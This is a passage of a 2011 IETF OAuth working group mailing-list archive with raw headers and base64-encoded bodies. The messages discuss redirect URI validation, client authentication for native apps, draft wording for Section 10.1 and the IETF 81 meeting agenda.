at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.561 X-Spam-Level: X-Spam-Status: No, score=-2.561 tagged_above=-999 required=5 tests=[AWL=0.038, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id jY8glK5Pu8Hu for ; Sun, 24 Jul 2011 00:46:36 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id ACEDD21F855C for ; Sun, 24 Jul 2011 00:46:36 -0700 (PDT) Received: (qmail 25400 invoked from network); 24 Jul 2011 07:46:35 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 24 Jul 2011 07:46:35 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Sun, 24 Jul 2011 00:46:35 -0700 From: Eran Hammer-Lahav To: "torsten@lodderstedt-online.de" , "oauth@ietf.org" Date: Sun, 24 Jul 2011 00:46:00 -0700 Thread-Topic: redirect uri validation (was: Issue 15, new client registration) Thread-Index: AcxJ1GNeyN7w8RgFTGid1flnGAwt1gAALuBg Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345021F37877@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 MIME-Version: 1.0 Subject: Re: [OAUTH-WG] redirect uri validation (was: Issue 15, new client registration) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 24 Jul 2011 07:46:37 -0000 DQoNCj4gLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0NCj4gRnJvbTogdG9yc3RlbkBsb2RkZXJz dGVkdC1vbmxpbmUuZGUgW21haWx0bzp0b3JzdGVuQGxvZGRlcnN0ZWR0LQ0KPiBvbmxpbmUuZGVd DQo+IFNlbnQ6IFN1bmRheSwgSnVseSAyNCwgMjAxMSAxMjozNiBBTQ0KPiBUbzogRXJhbiBIYW1t ZXItTGFoYXY7IG9hdXRoQGlldGYub3JnDQo+IFN1YmplY3Q6IHJlZGlyZWN0IHVyaSB2YWxpZGF0 aW9uICh3YXM6IElzc3VlIDE1LCBuZXcgY2xpZW50IHJlZ2lzdHJhdGlvbikNCj4gDQo+IEhpIEVy YW4sDQo+IA0KPiBsZXQncyBtb3ZlIHRoZSBkaXNjdXNzaW9uIHJlZ2FyZGluZyByZWRpcmVjdCB1 cmkgdmFsaWRhdGlvbiBpbnRvIGFub3RoZXIgdGhyZWF0Lg0KPiANCj4gPlBlcnNvbmFsbHksIGdp dmVuIHRoZSBjbGVhciBkaXJlY3Rpb24gdGhlIHdlYiBpcyB0YWtpbmcgd2hlcmUNCj4gPmFwcGxp Y2F0aW9ucyBhcmUgbW92aW5nIG9mZiBob3N0ZWQgc2VydmVycyB0byBtb2JpbGUgZGV2aWNlcyBh bmQNCj4gPmluLWJyb3dzZXIgc29mdHdhcmUsIEkgYmVsaWV2ZSA+dGhhdCBmb2N1c2luZyBPQXV0 aCAyLjAgYWJpbGl0eSB0bw0KPiA+aWRlbnRpZnkgYSBjbGllbnQgYmFzZWQgb24gYSBzZWNyZXQg aXMgY291bnRlcnByb2R1Y3RpdmUuDQo+IA0KPiBmdW5ueSB5b3UgbWVudGlvbiB0aGlzLiBJIHdh cyBhZHZvY2F0aW5nIGluIGZhdm9yIG9mIG5hdGl2ZSBhcHBzIHN1cHBvcnQgaW4NCj4gT0F1dGgg MiBzaW5jZSBJIGpvaW5lZCB0aGlzIGdyb3VwIDotKSBBbmQgSSdtIG5vdCBzYXlpbmcgc2VjcmV0 cyBzaG91bGQgYmUNCj4gdXNlZCB0byBhdXRoZW50aWNhdGUgdGhvc2UgYXBwcywgSSBuZXZlciBz dWdnZXN0ZWQgdGhhdC4NCj4gDQo+ID5UaGlzIGlzIHdoeSBteSBsYXN0IHJld3JpdGUgcHV0IG11 Y2ggbW9yZSB3ZWlnaHQgb24gdGhlIHJlZGlyZWN0aW9uDQo+ID5VUkkgYW5kIGNsYXJpZnlpbmcg cmVnaXN0cmF0aW9uIHJlcXVpcmVtZW50cy4NCj4gDQo+IEkgdGhpbmsgcmVkaXJlY3QgdXJpIHZh bGlkYXRpb24gaXMgZXNwZWNpYWxseSBpbmVmZmVjdGl2ZSBmb3IgdGhpcyBjbGllbnQgY2F0ZWdv cnkuDQoNCkl04oCZcyBhIGJpZyBjYXRlZ29yeS4gSG9zdGVkIEpTIGNsaWVudHMgd2l0aCBodHRw czovLyByZWdpc3RlcmVkIHJlZGlyZWN0aW9uIFVSSSBwcm92aWRlIHByZXR0eSBzdHJvbmcgaWRl bnRpZmljYXRpb24uDQoNCj4gVGhlIGF1dGh6IHNlcnZlciBjYW4gY2hlY2sgdGhlIHJlZGlyZWN0 IHVyaSBvZiBzdWNoIGEgY2xpZW50LiBCdXQgaXQgY2FuIG9ubHkNCj4gZGV0ZWN0IHRob3NlIG1h bGljaW91cyBjbGllbnRzIHdoaWNoIGFyZSB1c2luZyBhbm90aGVyIFVSSSB0aGFuIHRoZSBwcmUt DQo+IHJlZ2lzdHJlcmVkIHVyaSAobW9zdCBwcm9iYWJseSB3ZWItYmFzZWQgY2xpZW50cykuIENs aWVudHMgdXNpbmcgdGhlIGNvcnJlY3QNCj4gVVJJIGFyZSBub3QgbmVjY2Vzc2FyaWx5IHRoZSBs ZWdpdGltYXRlIGNsaWVudHMuIFdoeT8NCj4gQmVjYXVzZSBuYXRpdmUgYXBwcyB3aWxsIG1vc3Qg bGlrZWx5IHVzZSBVUkxzIHdpdGggY3VzdG9tIFVSSSBzY2hlbWVzDQo+IHdoaWNoIGFyZSB1c2Vk IHRvIHJlLWFjdGl2YXRlIHRoZSBhcHAgb24gdGhlIGRldmljZSB0aHJvdWdoIHRoZSBsb2NhbA0K PiBicm93c2VyLiBTbyB0aGVyZSBpcyBub3QgYSBzaW5nbGUgImVuZHBvaW50IiBzdWNoIGEgVVJJ IGlzIHBvaW50aW5nIHRvLCBidXQgdGhpcw0KPiBVUkkgaXMgcmVzb3ZsZWQgcmVsYXRpdmUgdG8g ZXZlcnkgZGV2aWNlLiBTbyBhIG1hbGljaW91cyBhcHAgb24gb25lIGRldmljZSBjYW4NCj4gcGVy ZmVjdGx5IHVzZSB0aGUgcmVkaXJlY3QgVVJJIGEgbGVnaXRtYXRlIGNsaWVudCB1c2VzIG9uIGFu b3RoZXIgZGV2aWNlIGFuZCBpdA0KPiB3aWxsIHN0aWxsIHJlY2VpdmUgdGhlIGF1dGh6IHJlc3Vs dC4NCg0KSSBhZ3JlZS4gT25lIG9mIG15IE9TQ09OIE9BdXRoIDIuMCBzbGlkZSBzaG93cyB0aGlz IGZsb3cgd2l0aCB0aGUgY29tbWVudCAiUmVnaXN0ZXJlZCBjdXN0b20gc2NoZW1lIFVSSSAoY3Vz dG9tOi8vKSBwcm92aWRlcyB3ZWFrIGNsaWVudCBpZGVudGlmaWNhdGlvbiIuDQoNCkhvd2V2ZXIs IG5hdGl2ZSBhcHBzIGFyZSBtdWNoIGhhcmRlciB0byB1c2UgZm9yIGEgc29jaWFsIGVuZ2luZWVy aW5nIGF0dGFjayAoY29tcGFyZWQgdG8gd2ViIGFwcHMpIGJlY2F1c2UgdGhlIHVzZXIgaGFzIHRv IGluc3RhbGwgc29tZXRoaW5nIHByb2FjdGl2ZWx5LiBUaGlzIG1lYW5zIHNob3dpbmcgdGhlIHVz ZXIgdGhlIGxvZ28gb2YgdGhlIGV4cGVjdGVkIGNsaWVudCBzaG91bGQgcmFpc2UgYSByZWQgZmxh ZyB3aGVuIGl0IGRvZXNuJ3QgbWF0Y2ggdGhlIGFwcGxpY2F0aW9uIGJlaW5nIGV4ZWN1dGVkLg0K DQo+ID5PQXV0aCAxLjAgd2FzIGhpZ2hseSBjcml0aWNpemVkIGZvciBmYWlsaW5nIHRvIGFkZHJl c3MgY2xpZW50IGlkZW50aXR5DQo+ID5pbiBwdWJsaWMgY2xpZW50cy4gSSBiZWxpZXZlIE9BdXRo IDIuMCBvZmZlcnMgYSBtdWNoIGJldHRlciBzdG9yeSwNCj4gPndpdGhpbiB0aGUgYm91bmRhcmll cyA+b2Ygd2hhdOKAmXMgcG9zc2libGUgdG9kYXkuDQo+IA0KPiBBZ3JlZWQuIEkgdGhpbmsgd2Ug bXVzdCBob25lc3RseSBkaXNjdXNzIHRoZSB2YWx1ZSBvZiBjbGllbnQNCj4gYXV0aGVudGljYXRp b24vaWRlbnRpZmljYXRpb24gaXRzZWxmLiBJIHBlcnNvbmFsbHkgdGhpbmsgaXQgaXMgb3Zlci1l bXBoYXppc2VkDQo+IHJpZ2h0IG5vdy4gVGhlIHN0cmVuZ3RoIG9mIE9BdXRoIDIuMCBpcyB0aGF0 IGl0IGFsbG93cyBzb2x1dGlvbnMgd2hlcmUgbmVpdGhlcg0KPiBjbGllbnQgbm9yIHJlc291cmNl IHNlcnZlciBoYXZlIGFjY2VzcyBvciBkbyBzdG9yZSBlbmQtdXNlciBjcmVkZW50aWFscy4NCj4g Q2xpZW50IGF1dGhlbnRpY2F0aW9uIGlzIG5pY2UgYnV0IG5vdCB0aGUgbWFpbiBmZWF0dXJlLg0K DQpEbyB5b3UgaGF2ZSBhbnkgc3BlY2lmaWMgc3VnZ2VzdGlvbnMgbm90IGFscmVhZHkgbWVudGlv bmVkIG9uIHRoZSBsaXN0Pw0KDQpFSEwNCg0K From barryleiba.mailing.lists@gmail.com Sun Jul 24 06:02:49 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A4DD621F84F6 for ; Sun, 24 Jul 2011 06:02:49 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.084 X-Spam-Level: X-Spam-Status: No, score=-103.084 tagged_above=-999 required=5 tests=[AWL=-0.107, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id hOz+h4dLnuMa for ; Sun, 24 Jul 2011 06:02:49 -0700 (PDT) Received: from mail-gy0-f172.google.com (mail-gy0-f172.google.com [209.85.160.172]) by ietfa.amsl.com (Postfix) with ESMTP id 08B0C21F84DD for ; Sun, 24 Jul 2011 06:02:48 -0700 (PDT) Received: by gyd5 with SMTP id 5so2137951gyd.31 for ; Sun, 24 Jul 2011 06:02:48 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:content-type; bh=pzz7Z/Dk2b3k70ILbK3O8aFzZvUZe6Q5J5T4yJ89h40=; b=CYzfAOKYHda97fkAUa6I9C59ftn4HQloDb8LswoUDdFFnl1OvLVsrojB3U2h3M66Xi g2KHYt0BiNLgMVziYvvpPfedONpl9mC85iVbCLMcMFb/M68xANVRDbODOYVBEhoKOq0S qx4Y5W9fIPDe+vVCohrPnltNt7w7KhxTIMR60= MIME-Version: 1.0 Received: by 10.236.185.65 with SMTP id t41mr4326778yhm.364.1311512568648; Sun, 24 Jul 2011 06:02:48 -0700 (PDT) Sender: barryleiba.mailing.lists@gmail.com Received: by 10.147.172.10 with HTTP; Sun, 24 Jul 2011 06:02:48 -0700 (PDT) In-Reply-To: References: <3D910011-72A9-4BED-824B-50E1990FC9C1@gmx.net> Date: Sun, 24 Jul 2011 09:02:48 -0400 X-Google-Sender-Auth: L-099h0ymTNT6pIWYVVsIcR4ymc Message-ID: From: Barry Leiba To: oauth WG Content-Type: text/plain; charset=ISO-8859-1 Subject: Re: [OAUTH-WG] Call For Agenda Items for IETF#81 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 24 Jul 2011 13:02:49 -0000 I have updated the agenda, which should now be final and can be found here: http://www.ietf.org/proceedings/81/agenda/oauth.txt I have slides only for the sidejacking attack discussion. Does no one have slides for discussion of document issues? Perhaps this will be a short meeting, because there's nothing to discuss........ Barry, as chair From torsten@lodderstedt.net Sun Jul 24 18:21:27 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id EC02821F85DB for ; Sun, 24 Jul 2011 18:21:27 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -0.248 X-Spam-Level: X-Spam-Status: No, score=-0.248 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HELO_EQ_DE=0.35, HTML_MESSAGE=0.001, J_BACKHAIR_15=1, J_BACKHAIR_34=1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id yDXSqQqk2FRn for ; Sun, 24 Jul 2011 18:21:27 -0700 (PDT) Received: from smtprelay06.ispgateway.de (smtprelay06.ispgateway.de [80.67.31.96]) by ietfa.amsl.com (Postfix) with ESMTP id 06B3A21F8541 for ; Sun, 24 Jul 2011 18:21:26 -0700 (PDT) Received: from [130.129.16.123] (helo=com.flipdogsolutions) by smtprelay06.ispgateway.de with esmtpsa (TLSv1:RC4-MD5:128) (Exim 4.68) (envelope-from ) id 1Ql9rI-00036E-2p; Mon, 25 Jul 2011 03:21:24 +0200 Date: Sun, 24 Jul 2011 21:21:20 -0400 (EDT) From: torsten@lodderstedt.net To: Barry Leiba ,oauth WG Message-ID: <1089527104.5.1311556882875.JavaMail.javamailuser@localhost> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_Part_4_1083630616.1311556880490" X-Df-Sender: torsten@lodderstedt-online.de Subject: Re: [OAUTH-WG] Call For Agenda Items for IETF#81 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 01:21:28 -0000 ------=_Part_4_1083630616.1311556880490 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I'm going to prepare slides regarding the status of the security document. regards, Torsten -----Original Message----- From: Barry Leiba To: oauth WG Sent: So., 24 Jul 2011 9:02 Subject: Re: [OAUTH-WG] Call For Agenda Items for IETF#81 I have updated the agenda, which should now be final and can be found here: http://www.ietf.org/proceedings/81/agenda/oauth.txt I have slides only for the sidejacking attack discussion. Does no one have slides for discussion of document issues? Perhaps this will be a short meeting, because there's nothing to discuss........ Barry, as chair _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ------=_Part_4_1083630616.1311556880490 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: quoted-printable

I'm going to prepare slides regarding the status of the security documen= t.

regards,
Torsten

-----Original Message-----
Fr= om: Barry Leiba <barryleiba@c= omputer.org>
To: oauth WG <= oauth@ietf.org>
Sent: So., 24 Jul 2011 9:02
Subject: Re: [OAUTH-WG] Call For Agenda Items for IETF#81
I have updated the agenda, which should now be final and can be found her= e:
http= ://www.ietf.org/proceedings/81/agenda/oauth.txt

I have slides = only for the sidejacking attack discussion.  Does no one
have slid= es for discussion of document issues?  Perhaps this will be a
shor= t meeting, because there's nothing to discuss........

Barry, as ch= air
_______________________________________________
OAuth mailing l= ist
OAuth@ietf.org
https://www.ietf.org/mailman/= listinfo/oauth

------=_Part_4_1083630616.1311556880490-- From eran@hueniverse.com Sun Jul 24 23:16:52 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 05CB221F893C for ; Sun, 24 Jul 2011 23:16:52 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.561 X-Spam-Level: X-Spam-Status: No, score=-2.561 tagged_above=-999 required=5 tests=[AWL=0.037, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id DRYmAEjc6L9E for ; Sun, 24 Jul 2011 23:16:50 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id B360221F875E for ; Sun, 24 Jul 2011 23:16:50 -0700 (PDT) Received: (qmail 20856 invoked from network); 25 Jul 2011 06:16:50 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 06:16:48 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Sun, 24 Jul 2011 23:16:47 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt , OAuth WG Date: Sun, 24 Jul 2011 23:16:11 -0700 Thread-Topic: Section 10.1 (Client authentication) Thread-Index: Acw+36ofM6083PrlSHSGw6eTINAxKQLsqS/Q Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345021F378B3@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D49FF7C@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234501D4A0024@P3PW5EX1MB01.EX1.SECURESERVER.NET> <44df5477-8c5c-47c4-bb29-6a154cd10848@email.android.com> In-Reply-To: <44df5477-8c5c-47c4-bb29-6a154cd10848@email.android.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E72345021F378B3P3PW5EX1MB01E_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Section 10.1 (Client authentication) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 06:16:52 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E72345021F378B3P3PW5EX1MB01E_ Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 SG93IGFib3V0LCBhZGQgdGhpcyB0byAxMC4xOg0KDQogICAgICAgICAgV2hlbiBjbGllbnQgYXV0 aGVudGljYXRpb24gaXMgbm90IHBvc3NpYmxlLCB0aGUgYXV0aG9yaXphdGlvbiBzZXJ2ZXIgU0hP VUxEIGVtcGxveSBvdGhlcg0KICAgICAgICAgIG1lYW5zIHRvIHZhbGlkYXRlIHRoZSBjbGllbnQn cyBpZGVudGl0eS4gRm9yIGV4YW1wbGUsIGJ5IHJlcXVpcmluZyB0aGUgcmVnaXN0cmF0aW9uIG9m DQogICAgICAgICAgdGhlIGNsaWVudCByZWRpcmVjdGlvbiBVUkkgb3IgZW5saXN0aW5nIHRoZSBy ZXNvdXJjZSBvd25lciB0byBjb25maXJtIGlkZW50aXR5LiBUaGUNCiAgICAgICAgICBhdXRob3Jp emF0aW9uIHNlcnZlciBtdXN0IGNvbnNpZGVyIHRoZSBzZWN1cml0eSBpbXBsaWNhdGlvbnMgb2Yg aW50ZXJhY3Rpbmcgd2l0aA0KICAgICAgICAgIHVuYXV0aGVudGljYXRlZCBjbGllbnRzIGFuZCB0 YWtlIG1lYXN1cmVzIHRvIGxpbWl0IHRoZSBwb3RlbnRpYWwgZXhwb3N1cmUgb2Ygb3RoZXINCiAg ICAgICAgICBjcmVkZW50aWFscyAoZS5nLiByZWZyZXNoIHRva2VucykgaXNzdWVkIHRvIHN1Y2gg Y2xpZW50cy4NCg0KDQpFSEwNCg0KRnJvbTogVG9yc3RlbiBMb2RkZXJzdGVkdCBbbWFpbHRvOnRv cnN0ZW5AbG9kZGVyc3RlZHQubmV0XQ0KU2VudDogU3VuZGF5LCBKdWx5IDEwLCAyMDExIDE6NTkg QU0NClRvOiBFcmFuIEhhbW1lci1MYWhhdjsgT0F1dGggV0cNClN1YmplY3Q6IFJFOiBTZWN0aW9u IDEwLjEgKENsaWVudCBhdXRoZW50aWNhdGlvbikNCg0KSGksDQoNCkkganVzdCByZW1lbWJlcmVk IHRoZSBvcmlnaW5hbCBhaW0gb2YgdGhlIHRleHQuIFdlIG5vdCBqdXN0IGludGVuZGVkIHRvIGxp c3QgYWx0ZXJuYXRpdmUgbWVhbnMgYnV0IHRvIGdldCBhIGdlbmVyYWwgbWVzc2FnZSBhY3Jvc3M6 IElmIHlvdSBjYW5ub3QgYXV0aGVudGljYXRlIGEgY2xpZW50IGNvbnNpZGVycyB0aGlzIGluIHlv dXIgc2VjdXJpdHkgZGVzaWduISBFaXRoZXIgKDEpIHlvdSBhY2NlcHQgdGhlIGZhY3QgdGhlIHJl c3BlY3RpdmUgaWRlbnRpdGllcyBjYW4gYmUgZm9yZ2VkIGFuZCBoYW5kbGUgdGhlbSBhcyB1bnRy dXN0ZWQgZW50aXRpZXMgdGhyb3VnaCB5b3VyIGxvZ2ljIChhcyBmYXIgYXMgSSByZW1lbWJlciBT a3lsYXIgc3VnZ2VzdGVkIHRoZSB0ZXJtIGZvcmdlYWJsZSBjbGllbnRzKSBvciAoMikgeW91IGZp bmQgb3RoZXIgd2F5cyB0byBlc3RhYmxpc2ggdHJ1c3QgaW4gdGhlIGNsaWVudCdzIGlkZW50aXR5 Lg0KDQpUaGUgZWZmZWN0IG9mICgxKSBkZXBlbmRzIG9uIHRoZSBzZWN1cml0eSBwb2xpY3kgb2Yg dGhlIGNlcnRhaW4gZGVwbG95bWVudCBhbmQgdGhlIHJpc2sgYXNzb2NpYXRlZCB3aXRoIGNlcnRh aW4gZnVuY3Rpb25zLiBJdCBjb3VsZCBlLmcuIG1lYW4gdG8gcmVseSBvbiB0aGUgaWQgdG8gYWdn cmVnYXRlIGxvZyBlbnRyaWVzIChub3QgY3JpdGljYWwpIGJ1dCBuZXZlciB0byBhdXRvbWF0aWNh bGx5IHByb2Nlc3MgYXV0aHogcHJvY2Vzc2VzIG9yIHNldHRsZSBwYXltZW50IHRyYW5zYWN0aW9u Lg0KDQpFeGFtcGxlcyBmb3IgKDIpIGFyZTogcmVkaXJlY3QgdXJpIHZhbGlkYXRpb24sIHJlbHlp bmcgb24gdGhlIHVzZXIgdG8gaWRlbnRpZnkgdGhlIGNsaWVudCwgYW5kIChzdWJzZXF1ZW50bHkp IHVzZSByZWZyZXNoIHRva2VucyBhcyBtZWFuIGZvciBjbGllbnQgYXV0aGVudGljYXRpb24uIEkg ZG9uJ3QgdGhpbmsgd2UgY2FuIGdpdmUgYSBjb21wbGV0ZSBsaXN0IG9mIG1lYW5zIGhlcmUgc2lu Y2UgSSBhc3N1bWUgc29tZSBkZXBsb3ltZW50cyB3aWxsIGhhdmUgdGhlaXIgb3duIGNhcGFiaWxp dGllcy4NCg0KUGxlYXNlIGFsc28gbm90ZTogcmVkaXJlY3QgdXJpIHZhbGlkYXRpb24gaXMgbm90 IGFuIGFkZXF1YXRlIHJlcGxhY2VtZW50IGZvciBjbGllbnQgYXV0aGVudGljYXRpb24uIEl0J3Mg bm90IGVmZmVjdGl2ZSBmb3IgbmF0aXZlIGFwcHMgYW5kIHVzZWxlc3MgaWYgdGhlIGF0dGFja2Vy IHVzZXMgYSBuYXRpdmUgYXBwIChubyBtYXR0ZXIgd2hldGhlciB0aGUgbGVnaXRpbWF0ZSBjbGll bnQgaXMgYSB3ZWIsIHVzZXIgYWdlbnQgYmFzZWQgb3IgbmF0aXZlIGFwcCkuDQoNCnJlZ2FyZHMs DQpUb3JzdGVuLg0KDQoNCkVyYW4gSGFtbWVyLUxhaGF2IDxlcmFuQGh1ZW5pdmVyc2UuY29tPG1h aWx0bzplcmFuQGh1ZW5pdmVyc2UuY29tPj4gc2NocmllYjoNCg0KSGV5IFRvcnN0ZW4sDQoNClRo ZSBwcm92aWRlZCB0ZXh0IGFuZCBhbHRlcm5hdGl2ZSB0ZXh0IGFyZSBqdXN0IG5vdCBoZWxwZnVs LiBJZiBJIGFtIHVuYWJsZSB0byB1bmRlcnN0YW5kIGl0LCBJIGhhdmUgZG91YnQgb3RoZXIgcmVh ZGVycyB3aWxsIGJlIGFibGUgdG8uDQoNCkkgZG9uJ3Qga25vdyB3aGF0IHlvdSBtZWFuIGJ5ICdv dGhlciBtZWFucycgd2hpY2ggYXJlIG5vdCBhbHJlYWR5IGRlc2NyaWJlZCBpbiB0aGUgZG9jdW1l bnQgKGJhc2VkIG9uIC0xNykuIFJlZmVyZW5jaW5nIHRoZSBzZWN1cml0eSB0aHJlYWQgbW9kZWwg ZG9jdW1lbnQgaW4gYSBub3JtYXRpdmUgcmVmZXJlbmNlIHJlcXVpcmVzIG1ha2luZyBpdCBhIG5v cm1hdGl2ZSByZWZlcmVuY2Ugd2hpY2ggSSBhbSBvcHBvc2VkIHRvIGRvaW5nIC0gdGhlIHYyIGRv Y3VtZW50IHNob3VsZCBpbmNsdWRlIGV2ZXJ5dGhpbmcgbmVlZGVkIHRvIGltcGxlbWVudCB0aGUg cHJvdG9jb2wgd2l0aG91dCBhbnkgYWRkaXRpb25hbCBzcGVjaWZpY2F0aW9ucyAoZm9yIHRoZSBj b3JlIGZ1bmN0aW9uYWxpdHkpLg0KDQpXaGVuIEkgd2FzIGFza2luZyBmb3IgZXhhbXBsZXMsIEkg d2FzIGhvcGluZyBmb3Igc29tZXRoaW5nIGxpa2UgJ2ZvciBleGFtcGxlLCB1c2UgeCwgeSwgb3Ig eicsIG5vdCBhIHJlZmVyZW5jZSB0byBhYm91dCAxMCBwYWdlcyBvZiB0ZXh0ICh3aGljaCBieSBp dHNlbGYgaXMgcHJldHR5IGNvbmZ1c2luZywgYnV0IHRoYXQncyBhIGRpZmZlcmVudCBpc3N1ZSAt IEkgaG9wZSB0byBmaW5kIHRoZSB0aW1lIHRvIHByb3ZpZGUgZGV0YWlsZWQgZmVlZGJhY2sgZm9y IHRoYXQgZG9jdW1lbnQpLg0KDQpJIHRoaW5rIHRoZSBjdXJyZW50IGRvY3VtZW50IG1ha2VzIGEg cHJldHR5DQoNCmdvb2QgY2FzZSBmb3IgdXNpbmcgdGhlIHJlZGlyZWN0aW9uIFVSSSBhcyBhIGZv cm0gb2YgY2xpZW50IHZhbGlkYXRpb24sIGFuZCBjbGVhcmx5IGxheXMgb3V0IHRoZSBkaWZmZXJl bmNlcyBiZXR3ZWVuIGEgcHVibGljIGFuZCBwcml2YXRlIGNsaWVudC4gSXQgaGFzIG5ldyByZXF1 aXJlbWVudHMgZm9yIHRoZSByZWdpc3RyYXRpb24gb2YgcmVkaXJlY3Rpb24gVVJJcyB3aGVuIGNs aWVudCBhdXRoZW50aWNhdGlvbiBpcyBub3QgcG9zc2libGUuDQoNCklmIHRoZXJlIGFyZSBzcGVj aWZpYyB0aGluZ3MgdGhlIGF1dGhvcml6YXRpb24gc2VydmVyIGNhbiBkbyB0byBpbXByb3ZlIHNl Y3VyaXR5IGJleW9uZCBjbGllbnQgYXV0aGVudGljYXRpb24sIHdlIHNob3VsZCBsaXN0IHRoZW0g ZXhwbGljaXRseSBpbiB0aGUgZG9jdW1lbnQuDQoNCkNhbiB5b3UgbGlzdCBleGFjdGx5IHdoYXQg eW91IGhhdmUgaW4gbWluZCBieSAnb3RoZXIgbWVhbnMnPyBKdXN0IHRoZSBidWxsZXQgcG9pbnRz IHdpbGwgYmUgZW5vdWdoLg0KDQpFSEwNCg0KDQo+IC0tLS0tT3JpZ2luYWwgTWVzc2FnZS0tLS0t DQo+IEZyb206IFRvcnN0ZW4gTG9kZGVyc3RlZHQgW21haWx0bzp0b3JzdGVuQGxvZGRlcnN0ZWR0 Lm5ldF08bWFpbHRvOlttYWlsdG86dG9yc3RlbkBsb2RkZXJzdGVkdC5uZXRdPg0KPiBTZW50OiBG cmlkYXksIEp1bHkgMDgsIDIwMTEgMTI6NTkgQU0NCj4gVG86IEVyYW4gSGFtbWVyLUxhaGF2OyBP QXV0aCBXRw0KPiBTdWJqZWN0OiBSRTogU2VjdGlvbiAxMC4xIChDbGllbnQgYXV0aGVudGljYXRp b24pDQo+DQo+IHNlZW1zIHlvdSBhcmUgY29udHJhZGljdGluZyB5b3Vyc2VsZi4NCj4NCj4gWW91 IGNyaXRpY2lzZWQgdGhlIE1VU1QgYW5kIHN1Z2dlc3RlZCB0byBpbmNsdWRlIHNvbWUgZXhhbXBs ZXMuIEkgYm91Z2h0DQo+IGludG8geW91cg0KDQphcmd1bWVudCBhbmQgc3VnZ2VzdGVkIHRvIHJl 